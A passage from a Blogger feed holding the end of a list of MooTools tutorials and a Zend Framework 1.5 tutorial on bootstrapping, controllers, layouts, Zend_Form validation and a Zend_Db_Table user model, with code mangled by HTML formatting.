&lt;a href=&quot;http://woork.bravehost.com/moomenu/index.html&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;34. &lt;a href=&quot;http://woork.blogspot.com/2008/03/using-css-and-mootools-to-simulate.html&quot;&gt;Using CSS and Mootools to simulate Flash horizontal navigation effect&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://woork.blogspot.com/2008/03/using-css-and-mootools-to-simulate.html&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18727&quot; height=&quot;285&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Using-CSS-and-Mootools-to-simulate-Flash-horizontal-navigation-effect-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This tutorial explains how to use Mootools and pure CSS / HTML code to  simulate a Flash (follow mouse) horizontal navigation effect.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://woork.blogspot.com/2008/03/using-css-and-mootools-to-simulate.html&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://woork.bravehost.com/mootoolsScroller/index.html&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;35. &lt;a href=&quot;http://davidwalsh.name/mootools-google-analytics-track-outbound-links&quot;&gt;Using MooTools to Instruct Google Analytics to Track Outbound Links&lt;/a&gt;&lt;/h2&gt;Google Analytical provides important information about your visitors  and where they are coming from, and if you want to see what are the exit  links then by using MooTools you can direct Google Analytic to track  outbound links&lt;br /&gt;
&lt;h2&gt;36. &lt;a href=&quot;http://davidwalsh.name/facebook-modal-mootools&quot;&gt;Facebook-Style Modal Box Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/facebook-modal-mootools&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18746&quot; height=&quot;210&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Facebook-Style-Modal-Box-Using-MooTools.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This tutorial will teach you to combine CSS, Facebook’s imagery and  MooTools to create a stylish and lightweight Facebook like Modal Box.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/facebook-modal-mootools&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/facebook-modal.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;37. &lt;a href=&quot;http://digitarald.de/project/squeezebox/&quot;&gt;SqueezeBox – Expandable Lightbox&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://digitarald.de/project/squeezebox/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18747&quot; height=&quot;354&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/themes/1stwd/img/grey.gif&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
SqeezeBox is an overly which is designed getting inspired from LightBox.  It will display the images in the full size in the same window like  LightBox.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://digitarald.de/project/squeezebox/&quot;&gt;Download&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.hetlandvanooit.be/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;38. &lt;a href=&quot;http://digitarald.de/project/fancyupload/&quot;&gt;FancyUpload – Swiff meets Ajax&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://digitarald.de/project/fancyupload/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;alignleft size-full wp-image-18749&quot; height=&quot;100&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/FancyUpload1.png&quot; style=&quot;display: block;&quot; width=&quot;290&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
FancyUpload replaces unobtrusive, queued and multiple-file selection  with a fancy animated progress bar. It is very easy to set up and  completely customizable using CSS and XHTML.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://digitarald.de/project/fancyupload/&quot;&gt;Download&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;39. &lt;a href=&quot;http://davidwalsh.name/mootools-scroller&quot;&gt;Create a Simple News Scroller Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-scroller&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18750&quot; height=&quot;347&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Create-a-Simple-News-Scroller-Using-MooTools.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
News scrollers are very common on internet because of their  effectiveness. In this tutorial you will learn to create a simple news  scroller using MooTools.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-scroller&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/news-scroller.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;40. &lt;a href=&quot;http://davidwalsh.name/checkbox-filter&quot;&gt;Checkbox Filtering Using MooTools ElementFilter&lt;/a&gt;&lt;/h2&gt;This tutorial will use &lt;a href=&quot;http://davidwalsh.name/plugin-element-filter&quot;&gt;MooTools ElementFilter &lt;/a&gt;to  make a checkbox filter, for example if you are making a search box,  when you type your search in the box, elements with matching text will  automatically be checked!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/7615965944660665004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/40-seriously-awesome-mootools-tutorials.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/7615965944660665004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/7615965944660665004'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/40-seriously-awesome-mootools-tutorials.html' title='40 Seriously Awesome MooTools Tutorials and Plugins'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-2636569768632941743</id><published>2012-02-26T10:34:00.002-08:00</published><updated>2012-02-26T10:34:12.585-08:00</updated><title type='text'>Zend Framework Tutorial</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;h2&gt;Introduction&lt;/h2&gt;I find myself constantly bombared with questions from students and  co-workers I’ve introduced to the Zend Framework regarding how the  different components can come together to form a basic application. I’ve  searched, I have found, I have emailed great tutorials, but still the  most common questions are posed “What’s should I include in index.php?”,  “Should I use Zend_Db_Table?”, “And what about Zend_Form?”&lt;br /&gt;
&lt;h3&gt;The Scope of This Tutorial&lt;/h3&gt;What I’m proposing is an article that can get help you, the reader,  get your hands wet by integrating the different components as seamlessly  as possible. This article is not about the setup of the zend framework  or how the various stand alone components work, but rather how they can  be integrated. Neither does it look at the folder structure which is  required, but where absolutely necessary I will make highlights. I’m  going to assume that you have your .htaccess file in your webroot,  index.php created, your include paths configured and Zend Framework  installed. For the purpose of this tutorial i’ll be using MySQL and Zend  Framework v1.5. This is a funcitonal tutorial which does not focus much  on aesthetics. See &lt;a href=&quot;http://www.developertutorials.com/wp-content/uploads/2008/08/Figure-1.gif&quot; target=&quot;_blank&quot;&gt;Figure  1&lt;/a&gt;  for an illustration of my directory structure. Please note that Zend  recommends that for PHP scripts the closing ?&amp;gt; can be omitted however  for clarity in this tutorial I have included them.&lt;br /&gt;
&lt;h2&gt;The index.php File&lt;/h2&gt;Let’s take a lot at index.php, the bootstrap file for the application  firstly.&lt;br /&gt;
&lt;!--?php&lt;br--&gt; //coder can also set include paths rather than modify php.ini&lt;br /&gt;
set_include_path(&lt;br /&gt;
get_include_path() . PATH_SEPARATOR .&lt;br /&gt;
‘./library’ . PATH_SEPARATOR .&lt;br /&gt;
‘./application’ . PATH_SEPARATOR .&lt;br /&gt;
‘./application/models’&lt;br /&gt;
);&lt;br /&gt;
require_once ‘Zend/Cache.php’;&lt;br /&gt;
require_once ‘Zend/Config/Ini.php’;&lt;br /&gt;
require_once ‘Zend/Controller/Front.php’;&lt;br /&gt;
require_once ‘Zend/Db.php’;&lt;br /&gt;
require_once ‘Zend/Db/Table.php’;&lt;br /&gt;
require_once ‘Zend/Layout.php’;&lt;br /&gt;
require_once ‘Zend/Registry.php’;&lt;br /&gt;
$config = new Zend_Config_Ini(‘./application/config.ini’,  ‘production’);&lt;br /&gt;
//db config and connect&lt;br /&gt;
$params = array(&lt;br /&gt;
‘host’ =&amp;gt; $config-&amp;gt;database-&amp;gt;host,&lt;br /&gt;
‘username’ =&amp;gt; $config-&amp;gt;database-&amp;gt;username,&lt;br /&gt;
‘password’ =&amp;gt; $config-&amp;gt;database-&amp;gt;password,&lt;br /&gt;
‘dbname’ =&amp;gt; $config-&amp;gt;database-&amp;gt;name&lt;br /&gt;
);&lt;br /&gt;
$db = Zend_Db::factory($config-&amp;gt;database-&amp;gt;type, $params);&lt;br /&gt;
Zend_Db_Table::setDefaultAdapter($db);&lt;br /&gt;
//cache&lt;br /&gt;
$frontendOptions = array(‘lifetime’ =&amp;gt;  $config-&amp;gt;cache-&amp;gt;maxLifetime, ‘automatic_serialization’ =&amp;gt;  true);&lt;br /&gt;
$backendOptions = array(‘cache_dir’ =&amp;gt; $config-&amp;gt;cache-&amp;gt;dir);&lt;br /&gt;
$cache = Zend_Cache::factory(‘Core’, ‘File’, $frontendOptions,  $backendOptions);&lt;br /&gt;
//layout&lt;br /&gt;
$options = array(&lt;br /&gt;
‘layout’     =&amp;gt; ‘default’,&lt;br /&gt;
‘layoutPath’ =&amp;gt; ‘./application/layouts’,&lt;br /&gt;
‘contentKey’ =&amp;gt; ‘content’,&lt;br /&gt;
);&lt;br /&gt;
Zend_Layout::startMvc($options);&lt;br /&gt;
//registry set&lt;br /&gt;
Zend_Registry::set(‘db’, $db);&lt;br /&gt;
Zend_Registry::set(‘cache’, $cache);&lt;br /&gt;
Zend_Registry::set(‘config’, $config);&lt;br /&gt;
//dispatch&lt;br /&gt;
$front = Zend_Controller_Front::getInstance();&lt;br /&gt;
$front-&amp;gt;addModuleDirectory(‘application/modules’);&lt;br /&gt;
$front-&amp;gt;dispatch();&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
We can begin by setting the include path for our library, application  and model files in the event we do not wish to make changes to php.ini.  This enables us to require what I consider to be the core Zend  Framework files from lines 10 to 16. Respectively files have been  included which will enable us to perform caching, application wide  configurations (handy for database password), routing of request in an  Model View Controller environment, connecting to our choice of database,  direct access to table information via the table data gateway pattern  through inheritance, the ability to easy switch templates and the  registry of variables in a manner the global keyword allows.&lt;br /&gt;
In line 18 the execution of the statement&lt;br /&gt;
$config = new Zend_Config_Ini(‘./application/config.ini’,  ‘production’);&lt;br /&gt;
will open a connection to a configuration file config.ini which can  be formatted by using the nested object property syntax. The second  parameter to the constructor is the section of the configuration file  which we wish to load, in this case production. The great thing is that  because our test environment may be slightly different to production we  can inherit and override the necessary variables (For a more detailed  discussion on this see the Zend_Config_Ini documentation). So what does  the content of our config.ini file look like? See &lt;a href=&quot;http://www.developertutorials.com/wp-content/uploads/2008/08/Figure-2.gif&quot; target=&quot;_blank&quot;&gt;Figure  2.&lt;/a&gt;  After a successful instantiation what we’ll have $config, an object,  loaded with the configuration items now as its properties. In light of  this to access the name of the database the programmer will do so  through $config-&amp;gt;database-&amp;gt;name. The depth of the configuration  items is not limited to any number, however it will be simple if it  remained shallow.&lt;br /&gt;
Lines 20 to 28 of index.php looks like this&lt;br /&gt;
//db config and connect&lt;br /&gt;
$params = array(&lt;br /&gt;
‘host’ =&amp;gt; $config-&amp;gt;database-&amp;gt;host,&lt;br /&gt;
‘username’ =&amp;gt; $config-&amp;gt;database-&amp;gt;username,&lt;br /&gt;
‘password’ =&amp;gt; $config-&amp;gt;database-&amp;gt;password,&lt;br /&gt;
‘dbname’ =&amp;gt; $config-&amp;gt;database-&amp;gt;name&lt;br /&gt;
);&lt;br /&gt;
$db = Zend_Db::factory($config-&amp;gt;database-&amp;gt;type, $params);&lt;br /&gt;
Zend_Db_Table::setDefaultAdapter($db);&lt;br /&gt;
A few important things are happening here. In line 21 an associative  array of database configuration items have been created. The keys  ‘host’, ‘username, ‘password’ and ‘dbname’ are required and will relate  to the setting for the database server you have installed. These items  were stored in the config.ini file located in the application directory.  In Line 27 a factory method was used. The first parameter specifying  the desired database type. The documentation for Zend_Db specifies the  various adapters which can be used. The second is the database  configuration array that was previously set up. For those interested a  Zend_Config object can also be passed as a parameter to the factory  method. See the documentation for more details.&lt;br /&gt;
Line 28 invokes a call to a static method belonging to Zend_Db_Table.  To touch a bit on Zend_Db_Table, the class is an object-oriented  interface to database tables. It provides methods for many common  operations on tables. The base class is extensible, so you can add  custom logic. The model which we will be writing later on will need to  be aware of the database object being used to retrieve the necessary  information. We can do this in various ways, however perharps the most  suitable way is to set it in the bootstrap file. As a result we wouldn’t  need to do this for various model classes later on.&lt;br /&gt;
From line 30 to 33 the cache is set up. The featured code is as  follows:&lt;br /&gt;
//cache&lt;br /&gt;
$frontendOptions = array(‘lifetime’ =&amp;gt;  $config-&amp;gt;cache-&amp;gt;maxLifetime, ‘automatic_serialization’ =&amp;gt;  true);&lt;br /&gt;
$backendOptions = array(‘cache_dir’ =&amp;gt; $config-&amp;gt;cache-&amp;gt;dir);&lt;br /&gt;
$cache = Zend_Cache::factory(‘Core’, ‘File’, $frontendOptions,  $backendOptions);&lt;br /&gt;
The frontend and backend configuration items are set up such as the  lifetime of each cached item and whether or not serialisation should be  automatic (we may need to cache objects such as a list of countries so  serialisation becomes important). For the backend configuration options  because for the purpose of this tutorial caching is in files rather than  against a database the cache directory is set up. One line 33 the cache  object is created using the static factory method. There are other  configuration options available. For a list see the ZF documentation.&lt;br /&gt;
For those interested in having various layouts and how it can be  implemented in a MVC environment lines 35 to 42 will be of most  interest. The programmer can create an associative array specifying the  default layout to use, the path to the layout scripts and the content  key. This content will be interpreted as what should be rendered when  our view scripts are called. Pretty cool huh? This means that your view  scripts will have nothing beside the code for the current page! Line 42  is where Zend_Layout is enabled with the configuration array in a MVC  environ.&lt;br /&gt;
Zend_Registry is simply a container for storing objects and values in  the application space. More than likely you’re going to want access to  the database connection, cached object and configuration values later on  so setting them in the bootstrap is a good idea. You can add any  variable which qualifies using the static set method which takes two  parameters, the key to store the variable under and the actual variable.&lt;br /&gt;
In a MVC environment the front controller handles the dispatching of  work to the appropriate controller. This doesn’t just happen magically.  Code is required and various naming conventions must be followed to  ensure that this is properly done (we will see how later on in the  tutorial). The static method getInstance is used to retrieve the front  controller. The programmer must set the module directory as shown in  line 49 and then dispatch the work like a traffic cop through a call to  the dispatch method.&lt;br /&gt;
&lt;h2&gt;Actioning Requests&lt;/h2&gt;Let’s set up two files, make sure things are in order and then we’ll  get to the discussion. Revisit &lt;a href=&quot;http://www.developertutorials.com/wp-content/uploads/2008/08/Figure-1.gif&quot; target=&quot;_blank&quot;&gt;Figure  1&lt;/a&gt;  for a second. In the modules directory, as depicted to the left of the  illustration, create a folder and name it “default”. In “default” create  three folders: one for your controllers, associated models and views.  In the “views” folder create a folder named “scripts”. The norm is that  in the “scripts” folder you will have folders for your views which  relate to the name of the controllers nested in the module. Now that  this file structure is set up go to the controllers directory. Create a  file call IndexController.php and paste following code into it:&lt;br /&gt;
&lt;!--?php&lt;br--&gt; require_once ‘Zend/Controller/Action.php’;&lt;br /&gt;
class IndexController extends Zend_Controller_Action {&lt;br /&gt;
public function init() {&lt;br /&gt;
$this-&amp;gt;initView();&lt;br /&gt;
}&lt;br /&gt;
public function preDispatch() {&lt;br /&gt;
}&lt;br /&gt;
public function postDispatch() {&lt;br /&gt;
}&lt;br /&gt;
public function indexAction() {&lt;br /&gt;
$this-&amp;gt;render();&lt;br /&gt;
}&lt;br /&gt;
}?&amp;gt;&lt;br /&gt;
Now that’s over go to the views directory. Create a file called  index.phtml and paste the following code into it:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Page body from view will be rendered. This corresponds to the content  key that was set up in the&lt;br /&gt;
associative array with the key ‘content’.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Before you fire up your webserver and make a request go to the  layouts directory in the application folder. Create a file called  default.phtml and paste the following code:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;title&gt;&lt;/title&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;h1&gt;Page header template here&lt;/h1&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;!--?php echo $this---&gt;layout()-&amp;gt;content; ?&amp;gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;h1&gt;Page footer template here&lt;/h1&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;The IndexController&lt;/h2&gt;Now that’s over make a request. Your browser should display what’s in  &lt;a href=&quot;http://www.developertutorials.com/wp-content/uploads/2008/08/Figure-3.gif&quot; target=&quot;_blank&quot;&gt;Figure  3&lt;/a&gt;.  On the notion that it has, what’s happening is a few components are  coming into play. With a focus on the IndexController according to the  ZF documentation “Zend_Controller_Action is an abstract class you may  use for implementing Action Controllers for use with the Front  Controller when building a website based on the Model-View-Controller  (MVC) pattern. To use Zend_Controller_Action, you will need to subclass  it in your actual action controller classes (or subclass it to create  your own base class for action controllers). The most basic operation is  to subclass it, and create action methods that correspond to the  various actions you wish the controller to handle for your site.  Zend_Controller’s routing and dispatch handling will autodiscover any  methods ending in ‘Action’ in your class as potential controller  actions.”&lt;br /&gt;
Most likely you made a request to http://localhost. No module,  controller or action was specified. This is where the default module  comes in. If no element is specified then requests are sent by “default”  to this module. To access the functionality it was necessary to require  and inherit from the Zend_Controller_Action which provides us with a  bunch of abstract methods and gives us the ability to write our own  actions. As a rule we name our actions as methods postfixing it with the  “Action” keyword. This class provides us with a few methods which we  can hook code into. These are init, preDispatch and postDispatch on  lines 5, 9 and 13 respectively. To us init is of interest where we lazy  load the view public property which will later on aid in render a view  based on the current request action as depicted in line 18. By default,  for these elements to work in harmony the directory hierarchy must be  adhered to. The hooks preDispatch and postDispatch come in handy when we  want to do something before and after each and every action. For  example we may wish to test a user against an access control list or the  existence of a session for each action of a given module.&lt;br /&gt;
&lt;h2&gt;The View and Layout&lt;/h2&gt;Zend_Layout takes advantage of various extension points when used  with the MVC components. Therefore when Zend_Layout::startMvc($options)  was executed on line 42 of index.php a layout object was registered that  could render the layout with content once dispatch was completed and  furthermore an action helper was registered with the action controller  we subclassed. The latter part allows us to change, or disable layouts  from within the context of our controllers in the event we require  something different for particular pages (naturally we would have other  layout scripts).&lt;br /&gt;
The index.phtml page will contain the code we desire for a given  page. In this case the homepage is merely a paragraph with some content.&lt;br /&gt;
&lt;h2&gt;Zend_Form&lt;/h2&gt;Let’s assume we want to create a form where users can register.  Creating forms that can be easily validated is a breeze with Zend_Form.  There are a lot of different approaches to how forms can be created, in  terms of delegating functionality. Some people choose to create classes  that subclass zend form. However I have found that once the number of  forms I have grow the number of classes increase exponentially. Instead I  choose to have a form class for each controller that includes the  creation of forms through calls to static methods. This way I can easily  include the functionality within the models folder for a given module,  using naming conventions that are consistent with those of controllers  and still in the end have a Zend_Form object returned for easy  manipulation. Instead I postfix the name of the class with the word  “Form”. Therefore in the models directory any forms I have relating to  the IndexController will be found in the file IndexForm.php. So let’s  create this class and then add code to the controller that will make  rendering it possible.&lt;br /&gt;
&lt;!--?php&lt;br--&gt; require_once ‘Zend/Form.php’;&lt;br /&gt;
class IndexForm {&lt;br /&gt;
public static function registerForm() {&lt;br /&gt;
require_once ‘Zend/Form/Element/Text.php’;&lt;br /&gt;
require_once ‘Zend/Form/Element/Password.php’;&lt;br /&gt;
require_once ‘Zend/Form/Element/Radio.php’;&lt;br /&gt;
require_once ‘Zend/Form/Element/Submit.php’;&lt;br /&gt;
$form = new Zend_Form();&lt;br /&gt;
$form-&amp;gt;setAction(‘/default/index/save’)&lt;br /&gt;
-&amp;gt;setMethod(‘post’)&lt;br /&gt;
-&amp;gt;setAttrib(‘class’, ‘editor’);&lt;br /&gt;
$email = new Zend_Form_Element_Text(‘email’);&lt;br /&gt;
$password = new Zend_Form_Element_Password(‘password’);&lt;br /&gt;
$gender = new Zend_Form_Element_Radio(‘gender’);&lt;br /&gt;
$email-&amp;gt;addValidator(‘EmailAddress’)&lt;br /&gt;
-&amp;gt;setRequired(true)&lt;br /&gt;
-&amp;gt;addFilter(‘StringToLower’)&lt;br /&gt;
-&amp;gt;setLabel(‘Email:’);&lt;br /&gt;
$password-&amp;gt;setRequired(true)&lt;br /&gt;
-&amp;gt;setLabel(‘Password:’);&lt;br /&gt;
$gender-&amp;gt;setLabel(‘Gender:’)&lt;br /&gt;
-&amp;gt;setSeparator(‘ ‘)&lt;br /&gt;
-&amp;gt;addMultiOption(‘m’, ‘Male’)&lt;br /&gt;
-&amp;gt;addMultiOption(‘f’, ‘Female’)&lt;br /&gt;
-&amp;gt;removeDecorator(‘Errors’);&lt;br /&gt;
$form-&amp;gt;addElement($email)&lt;br /&gt;
-&amp;gt;addElement($password)&lt;br /&gt;
-&amp;gt;addElement($gender)&lt;br /&gt;
-&amp;gt;addElement(new Zend_Form_Element_Submit(‘Submit’));&lt;br /&gt;
return $form;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
The next great thing about having these static methods is that we can  require only the files we need for a given form. Personally I prefer to  create my forms using code, maybe being from a Java background, so if  you do let’s discuss the various elements. Zend_Form must be required.  This class is the equivalent of a container onto which components can be  added. The static method registerForm is my little convention insomuch  that it corresponds with the name of the action. This is not absolutely  necessary. From lines 8 to 17 I require the files representing XHTML  elements of interest to the form. In our case, text boxes, password  fields, radio buttons and the submit buttons. Line 15 to 17 sets up  basic properties of interest to any form. As a parameter of setAction  the module, controller, action we will like to post to is specified.  Because these methods utilize the fluent interface (meaning at the end  of the method call ‘this’ object is returned we can use the syntatical  structure. Sometimes we may wish to set other attributes of the form.  For this, the setAttrib method can be used which takes two parameters:  the name of the attribute and the value we would like to set it to. Line  19 to 21 creates elements of the given type. The name we pass to the  constructor will be interpreted as the name of the element when the  XHTML form is rendered.&lt;br /&gt;
Filters and Validators can be added to these elements that we have  created. There are various ways of adding validators. The qualifying  name of the validator can be specified as a string parameter to the  addValidator method. The same goes for filters. Another way would be to  pass a reference to an named or anonymous instance of the class. For the  email element, the email address validator is added. Similarly to  Zend_Form these elements implement the fluent interface and enabling the  shorthand access to the methods. To set the display label of the  element the setLabel method is called. The programmer also has the  option to specify whether or not the given field is required through  passing of a boolean value to the method setRequired.&lt;br /&gt;
The means of setting validators and filters is consistent among  elements. The only additionaly item I would like to highlight is for the  cases of multioption elements such as the radio button. By default each  radio button will be produced on a new line along with the label when  the form is rendered. If you wish, you can modify this be making a call  to setSeparator as illustrated on line 32. In the end it is best to  return this form object. This comes in handy when we wish to set the  values of an already created form as an example consider populating an  edit form of a person. The setValue method can be used to accomplish  just this.&lt;br /&gt;
Let us now create an action that can render this form.&lt;br /&gt;
public function registerAction() {&lt;br /&gt;
require_once ‘./application/modules/default/models/IndexForm.php’;&lt;br /&gt;
$this-&amp;gt;view-&amp;gt;form = IndexForm::registerForm();&lt;br /&gt;
$this-&amp;gt;render();&lt;br /&gt;
}&lt;br /&gt;
I’m assuming you copied the action onto line 21. On line 23 the  static method is called, creating and returning the form for storage in  the already initialized view object. It will be necessary to create a  register.phtml script. Once that is done paste the single line of code  into the page&lt;br /&gt;
&lt;!--?=$this---&gt;form?&amp;gt;&lt;br /&gt;
A request to /default/index/register should yield the results shown  in &lt;a href=&quot;http://www.developertutorials.com/wp-content/uploads/2008/08/Figure-4.gif&quot; target=&quot;_blank&quot;&gt;Figure  4&lt;/a&gt;.  If you’ve been successful so far you can view source to see what the  form looks like. For ease i’ve listed include some CSS code that can be  used to structure the form how “we know it”. I’m assuming that you will  copy the code into a default.css file located in the css folder  contained in the webroot.&lt;br /&gt;
&lt;h2&gt;CSS Code&lt;/h2&gt;body, li, td, input, select, p {&lt;br /&gt;
font-family: Verdana;&lt;br /&gt;
font-size: 11px;&lt;br /&gt;
line-height: 15px;&lt;br /&gt;
}&lt;br /&gt;
form {&lt;br /&gt;
margin: 0px;&lt;br /&gt;
padding: 0px;&lt;br /&gt;
}&lt;br /&gt;
form.editor dt, dd {&lt;br /&gt;
padding: 3px;&lt;br /&gt;
}&lt;br /&gt;
form.editor dt {&lt;br /&gt;
float: left;&lt;br /&gt;
width: 150px;&lt;br /&gt;
text-align: right;&lt;br /&gt;
padding-right: 0px;&lt;br /&gt;
}&lt;br /&gt;
form.editor dt label{&lt;br /&gt;
font-weight: bold;&lt;br /&gt;
}&lt;br /&gt;
form.editor dd {&lt;br /&gt;
margin-left: 158px;&lt;br /&gt;
}&lt;br /&gt;
form.editor .errors {&lt;br /&gt;
list-style: none;&lt;br /&gt;
padding: 0px;&lt;br /&gt;
/*background: #fff7d7;*/&lt;br /&gt;
padding: 5px;&lt;br /&gt;
margin: 2px;&lt;br /&gt;
}&lt;br /&gt;
form.editor .errors li {&lt;br /&gt;
font-family: Verdana, Arial, Helvetica, sans-serif;&lt;br /&gt;
font-size: 11px;&lt;br /&gt;
color: #ff0000;&lt;br /&gt;
text-align: left;&lt;br /&gt;
}&lt;br /&gt;
Include the following line into register.phtml and refresh:&lt;br /&gt;
&lt;link href=&quot;”/css/default.css”/&quot; rel=&quot;”stylesheet”&quot; type=&quot;”text/css”&quot;&gt;&lt;/link&gt;&lt;br /&gt;
Good to go? I hope so!&lt;br /&gt;
&lt;h2&gt;Validating Our Form&lt;/h2&gt;When the page is refreshed you should see the results denoted in &lt;a href=&quot;http://www.developertutorials.com/wp-content/uploads/2008/08/Figure-5.gif&quot; target=&quot;_blank&quot;&gt;Figure  5&lt;/a&gt;.  You will recall on line 17 of the class IndexForm we specified the  class attribute. Line 15 of this same class dictates that a post will be  to the save action of the default controller. This is where validation  and database access becomes important so we’ll tackle the two areas  sequentially. Create a save action in the index controller of the  default module. This time before I show the code let’s discuss the  sequence of events.&lt;br /&gt;
1. We have to get back the Zend_Form object through a call to the  same method that created the form.&lt;br /&gt;
2. We have to test the form to see if it is valid against the  superglobal $_POST.&lt;br /&gt;
3. If the form is not valid we have to store the form in the view  object and render the register script.&lt;br /&gt;
4. If the form is valid we have to proceed to save the values in the  database.&lt;br /&gt;
We’ll extend saveAction as we go along. Let’s cater for steps 1 to 3  first of all:&lt;br /&gt;
public function saveAction() {&lt;br /&gt;
require_once ‘./application/modules/default/models/IndexForm.php’;&lt;br /&gt;
$form = IndexForm::registerForm();&lt;br /&gt;
//handle if form is invalid&lt;br /&gt;
if (!$form-&amp;gt;isValid($_POST)) {&lt;br /&gt;
$this-&amp;gt;view-&amp;gt;form = $form;&lt;br /&gt;
$this-&amp;gt;render(‘register’);&lt;br /&gt;
return;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
Firstly we require and get the form object. Zend_Form has a method  isValid that takes an associative array. If the form is invalid when  checked against the validators we specified in IndexForm the method  returns false. In this case we can simply register form with the view  object and render the register.phtml script. We must return the method  thereafter.&lt;br /&gt;
Catering for step 4 means we require a model file that can do the  work easily for us. Let’s take a look at Zend_Db_Table.&lt;br /&gt;
&lt;h2&gt;Zend_DB_Table&lt;/h2&gt;Before zend_Db_Table I found myself wearied by creating model classes  complete with getters and setters for each relation I had in my  database and fetchList and fetchRow methods which not only accessed some  database connection, but also created and populated objects. This would  become messier and messier each time I had an object composed of  another, because with OOP there is no foreign key, but rather a  collection of objects. I was confused as to whether or not I should  automatically load up the next object and eventually went as far as  having a lazy load parameter. So to me Zend_Db_Table is a blessing not  in disguise, but simply a blessing. I now have the ability to subclass  this beauty of a class, specify the name of the table the class should  map to, its primary key and provide a database object which was already  done through a call to the static method  Zend_Db_Table::setDefaultAdapter($db); on line 28 of index.php. So now  that’s done and doesn’t need to happen again let’s create a database  table in our zend database and a corresponding class. The code for the  sql is as follows below.&lt;br /&gt;
CREATE TABLE `user` (&lt;br /&gt;
`id` int(10) unsigned NOT NULL auto_increment,&lt;br /&gt;
`email` varchar(100) NOT NULL,&lt;br /&gt;
`password` varchar(32) NOT NULL,&lt;br /&gt;
`gender` char(1) NOT NULL,&lt;br /&gt;
PRIMARY KEY  (`id`)&lt;br /&gt;
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;&lt;br /&gt;
In the models directory create a file User.php and paste the  following code:&lt;br /&gt;
&lt;!--?php&lt;br--&gt; class User extends Zend_Db_Table_Abstract {&lt;br /&gt;
protected $_name = ‘user’;&lt;br /&gt;
protected $_primary = ‘id’;&lt;br /&gt;
}&lt;br /&gt;
